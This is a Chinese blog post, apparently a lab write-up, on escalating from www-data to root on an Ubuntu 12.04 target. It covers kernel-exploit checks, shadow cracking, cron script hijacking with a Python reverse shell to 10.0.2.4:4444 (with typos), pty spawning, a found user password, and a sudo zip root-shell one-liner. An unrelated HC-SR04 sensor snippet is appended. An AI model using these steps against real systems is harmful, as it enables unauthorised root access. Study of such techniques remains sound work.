linux系统提权——基于已经拿到www-data权限

前言:上次学习利用目录遍历漏洞获取了一个反弹的webshell,但是权限是www-data,不是root权限,所以这次学习提权,拿到root权限。

提权介绍

往往我们能拿下服务器的web服务只是具有低权限用户(www-data),对于内网渗透,我们需要提权到root。linux系统的提权过程不止涉及到了漏洞,也涉及了很多系统配置。
提权前提:

  • 已经拿到低权shell
  • 被入侵的机器上面有nc,python,perl等非常常见的工具
  • 有权限上传文件和下载文件

学习环境依然是上次的shell获取的www-data权限

提权方式

内核漏洞提权

内核漏洞一般是首选考虑的,先查看是否可以使用内核漏洞进行提权。先对系统做个了解

#查看发行版本
cat /etc/issue
cat /etc/*-release
# 查看内核版本
uname -a

m0re
看到发行版本是Ubuntu 12.04.5
寻找内核溢出代码使用searchsploit
但是发现并没有,可以适合这个版本的漏洞模块;但是有12.04的,不过不行;
m0re
没有这个,所以没办法利用;如果存在可以利用的,那么使用方法就是

gcc xxx.c -o exploit
chmod +x exploit
./exploit

这个是内核溢出的提权,不过一般用不上。

明文root密码提权

大多linux系统的密码都和/etc/passwd/etc/shadow这两个配置文件相关的;passwd里面储存了用户,shadow里面是密码的hash;且passwd是全用户可读,root可写。shadow是仅root可以进行读写的。
破解linux用户名和对应的密码

/etc/passwd  /etc/shadow
unshadow passwd shadow > cracked
john cracked

使用John这个工具来破解。
到kali中查看这两个文件,passwd可以查看,shadow是无法查看的
m0re
所以此方法也不行,不过倒是可以在root权限下查看密码(前提是不知道root密码)

计划任务

系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root用户的计划任务的。但是/etc/内系统的计划任务可以被列出
默认这些程序以root权限执行,如果刚好遇到一个把其中脚本配置成可以任意用户可写的,这个时候就可以修改脚本等回连rootshell;如果定时执行的文件时python脚本,可以使用下面的脚本来替换之前的脚本。

#!/usr/bin/python
import os,subprocess,socket

s=socket.socekt(sicket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.0.2.4","4444"))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

测试时查看/etc/crontab发现并没有可写权限的文件
m0re
所以此方法行不通。

密码复用

很多管理员会重读使用密码,因此数据库或者web后台的密码也许就是root密码。

有了疑似root密码,第一时间想到ssh登录,但是ssh很可能禁止root登录,或者是防火墙规则等因素排除。之前已经得到一个低权限的shell,但是直接在低权限里使用sudo是不奏效的。出于安全考虑,linux要求用户必须从终端设备(tty)中输入密码,而不是标准输入,也就是说sudo在输入密码的时候本质是读取键盘,而不是bash里面的字符。因此要输入密码,还需要一个终端设备。python有这种功能的,就是模拟化终端,输入

python -c "import pty;pty.spawn('/bin/bash')"

m0re

可以看到是已经启动了虚拟终端
然后找到了一些信息,因为是靶场,而且是学习提权的,这个寻找信息的过程就不写了。
找到一个用户名为zico密码为sWfCsfJSPV9H3AmQzw8的一个用户。
而日是开放了ssh服务的,所以可以直接进行ssh登录
m0re

看到了登录成功,密码正确。

利用zip进行提权
sudo -l查看了当前可以使用root提权的命令信息。
返回以下结果

Matching Defaults entries for zico on this host:
    env_reset, exempt_group=admin,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User zico may run the following commands on this host:
    (root) NOPASSWD: /bin/tar
    (root) NOPASSWD: /usr/bin/zip

可以使用zip进行提权

touch exploit
sudo -u root zip exploit.zip exploit -T --unzip-command="sh -c /bin/bash"

发现得到了root权限
m0re

总结:

  1. 内核漏洞
    在kali当中找相应版本的漏洞,看有无适应当前版本的可以利用的漏洞。
  2. 明文root密码
    要求拿到的用户,刚好有可以读取shadow和passwd文件的权限。
  3. 计划任务
    计划的任务修改执行对应的脚本可以获取root权限,待尝试~
  4. 密码复用
    已知其他用户的密码,可以推测root用户的密码也是相同的(PS:不得不说我自己的就是,我的kali普通用户和root用户设置的密码是一样的,因为懒)
    以上是几种常见的提权方式,这次学习收获很多。
  • 4
    点赞
  • 39
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
HC-SR04超声波测距模块是一种常用的测距传感器,可以通过发送超声波脉冲并接收回波信号来测量距离。在STM32库函数版中,可以通过以下步骤来使用HC-SR04超声波测距模块: 1. 首先,需要包含"sys.h"头文件,并初始化HC_SR04超声波模块,可以使用HC_SR04_Init()函数进行初始化。\[1\] 2. 在测距之前,需要向Trig控制端输入至少10us的高电平触发信号,可以使用HC_SR04_start()函数发送20us的脉冲触发信号。\[1\] 3. HC-SR04模块内部会发送8个40KHz的方波并检测回波信号,一旦检测到回波信号,Echo接收端会输出高电平回响信号,高电平的持续时间就是超声波从发射到返回的时间。根据公式:距离=高电平时间*声速(340M/S)/2,可以计算出测得的距离。\[2\] 总结来说,使用STM32库函数版的HC-SR04超声波测距模块,需要初始化模块并发送触发信号,然后根据回响信号的高电平时间计算出距离。 #### 引用[.reference_title] - *1* *2* [STM32——库函数版——超声波测距模块](https://blog.csdn.net/qq_45844792/article/details/111215858)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [STM32连接HC-SR04超声波测距(结合STM32CubeMX和HAL库函数)](https://blog.csdn.net/wuwenbin12/article/details/118575989)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值